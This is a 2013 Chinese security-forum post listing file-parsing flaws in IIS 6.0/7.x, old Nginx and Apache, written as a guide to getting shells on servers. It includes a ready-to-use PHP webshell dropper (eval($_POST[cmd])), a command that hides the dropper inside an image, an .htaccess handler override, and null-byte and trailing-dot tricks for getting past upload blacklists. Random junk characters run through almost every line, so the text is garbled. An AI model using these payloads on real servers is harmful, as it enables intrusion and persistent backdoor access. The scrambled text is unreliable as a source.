找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2698|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
7 A# |" i2 c8 t8 ~) L[+]IIS6.0$ m0 r* p. b4 I; ^1 N* J3 k+ ~% L
6 l- L, p, d7 e: C' X" X! E" Q0 r5 O
目录解析:/xx.asp/xx.jpg
8 s# Z' K5 A2 d" g xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
5 X3 L4 Z7 {8 R IIS6.0 会将 xx.jpg 解析为 asp 文件。
- z5 T; D2 l2 t, [' X: h! L. x后缀解析:/xx.asp;.jpg     
, P! x; M2 w4 @" A4 e/ [( w IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
  m! |( h2 x5 Z" P, ^: A: O默认解析:/xx.asa
0 y0 {2 I2 ?5 I; s9 _         /xx.cer& ~7 F& K: Y# L( h5 V: L  v* n
         /xx.cdx2 _6 G. g% @4 S; E' _
IIS6.0 默认的可执行文件除了 asp 还包含这三种
  {: D) W7 K( I5 O- l 此处可联系利用目录解析漏洞 # u" v: E5 R! X, G- h
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
$ Z) p2 [5 `# u) ^' F+ W/ x3 y[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
, g# @4 m* ^% E! e; P! B6 [
7 g3 P. U" M) q! f$ ]4 e) w9 a: Q IIS 7.0/IIS 7.5/Nginx <0.8.03
6 S! E9 b0 t, k8 y 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面% L( @! w' l% y; F, c' m8 Z# f
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。7 A" U* R9 J2 U$ Y0 f5 G: p9 C
常用利用方法:3 c$ W8 v0 v. c* g" j
将一张图和一个写入后门代码的文本文件合并将恶意文本. s6 _( q1 q! X* s# u/ f9 |% g5 ?
写入图片的二进制代码之后,避免破坏图片文件头和尾4 \6 o0 D0 D& q. g- B6 q( j9 m
如:
' Y* e8 D- s# i; n5 P copy xx.jpg /b + yy.txt/a xy.jpg
7 t6 ?, S+ [0 [, l% B( G' d( i7 m #########################################################. `& G4 p) I+ t' D
/b 即二进制[binary]模式* g; h" W. \* n- }; x
/a 即ascii模式
3 A  \$ P9 B- \) P: \ xx.jpg 正常图片文件' x, f- C: N  ^# y) Z- ~
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),2 q; ^( E+ Q2 K
'<?php eval($_POST[cmd])?>');?>* ~' Q; I* q. L* L0 f
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称1 K8 X# x: n+ \$ I+ u+ @7 J$ [
为shell.php的文件) D" `/ j+ P! Y" A
###########################################################
% R0 T" M4 t' ?. q5 ~& Z- u 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php # M- o( k% M5 o# r* b1 `
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
/ M( d/ T% H8 q. @ 密码 cmd4 d- C& d. |  \5 u
[+]Nginx <0.8.03# b. \; m( t$ O8 Z+ ?- @
- E  }! ]; T" G6 w3 K6 \
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞9 u* Y, h5 P: K+ G4 ?) J5 B
在一个文件路径(/xx.jpg)后面加上%00.php
9 b$ f+ G+ }8 m: u6 _ 会将 /xx.jpg%00.php 解析为 php 文件。
+ O2 q6 Y" O3 e& b" T% q5 q- H[+]Apache<0.8.03
7 B) U  y$ ^& ]1 r
, ]9 z5 U  t2 w, U3 E9 @ 后缀解析:test.php.x1.x2.x3
; n# e2 u6 q/ q2 y3 U* h( ?( C' y Apache将从右至左开始判断后缀,若x3非可识别后缀,/ i# c2 r  J8 M5 r* A* ~: f- A
再判断x2,直到找到可识别后缀为止,然后将该可识别
) X3 T1 p1 y8 {: D5 O% O# C 后缀进解析test.php.x1.x2.x3 则会被解析为php( n0 j( _3 j) `1 l9 S" D
经验之谈:php|php3|phtml 多可被Apache解析。9 f% p5 _  W) h- D% b7 V. u2 R
[+]其他一些可利用的2 s& Y* K3 s1 \6 Q( d" y% ~
: _3 v- `+ v$ B) x4 _
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
$ H0 m0 s3 `, N1 d$ H若这样命名,windows会默认除去空格或点,这也是可以被利用的!
/ r2 O2 u4 {, U( p在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
3 i& P4 ^/ u9 r8 j, }2 w或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
8 n. I7 m9 \, D- M得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。* h" K( j/ @, D/ U9 g/ d2 L
{Linux主机中不行,Linux允许这类文件存在}) V1 \6 i9 ], B3 o
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说2 [4 c/ l6 [" i
的,当初我并不知道),且可以被上传,那可以尝试在. _& w% F  j0 v7 k7 ?1 Q
.htaccess中写入:# ~8 g: v# R+ J" d6 w; j
<FilesMatch “shell.jpg”> 5 {2 w% O! d* G" _" R
SetHandler application/x-httpd-php ; W$ G4 ]2 h/ \
</FilesMatch>7 W$ I/ e" p7 m3 T
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件$ q" w% S- o6 H0 d7 H
[+]错误修改
2 U; a; r$ Q+ ~+ a # d8 F' D0 C9 x0 P; g
在 IIS 6.0 下可解析 /xx.asp:.jpg$ u3 ^4 x6 G" E$ N
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
6 z8 S; P& \, \: k剩下/xx.asp}修改:* s6 n6 C  _& |0 f7 Z. K2 j
先谢谢核攻击的提醒
" [5 i$ H/ h9 U当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
  w: w! N3 B3 q6 e& I' y里是没有任何内容的,因为。。不好解释 大家自己看
6 F2 X+ t% C7 V+ J& h" jhttp://lcx.cc/?i=24488 u: S6 r/ z9 d1 J1 c
http://baike.baidu.com/view/3619593.htm& f# d* j7 e6 J/ c
6 F4 U3 V0 y! `" @& n  F7 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表